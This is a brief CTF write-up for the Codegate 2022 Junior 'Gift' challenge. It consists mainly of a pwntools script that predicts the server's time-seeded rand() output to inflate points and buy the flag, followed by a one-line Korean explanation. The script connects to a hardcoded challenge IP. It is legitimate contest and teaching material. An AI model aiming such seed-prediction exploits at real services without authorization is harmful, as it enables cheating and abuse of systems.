[CTF write up] Codegate CTF 2022 Junior - Gift : Rand() Crack

from pwn import *
import ctypes

point = 20

def money(point):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'>', b'5')
    lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    lib.srand(lib.time(0))
    a = lib.rand() % 50
    b = lib.rand() % 50
    if a > b:
        p.sendlineafter(b'>', f'{point} 2'.encode())
    else:
        p.sendlineafter(b'>', f'{point} 1'.encode())
    print(a, b)

#p = process(['cooldown'], env={'LD_PRELOAD':'./libc.so.6'})
p = process('Gift')
p = remote('3.39.28.41',8888)

p.sendlineafter(b'?',b'name')

p.sendlineafter(b'>',b'3')
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'>',b'abcd')

for i in range(0,5):
    money(point)
    point = point + point*2

for i in range(0,20):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'>',b'2')
    point = point - 100

print(point)

for i in range(0,10):
    money(point)
    point = point + point*2

p.interactive()

 

서버가 난수표를 설정할때 동시에 설정하면 rand() 함수에서 동일한 값이 나온다. 해당 트릭으로 포인트를 늘려서 flag를 구매하면 된다.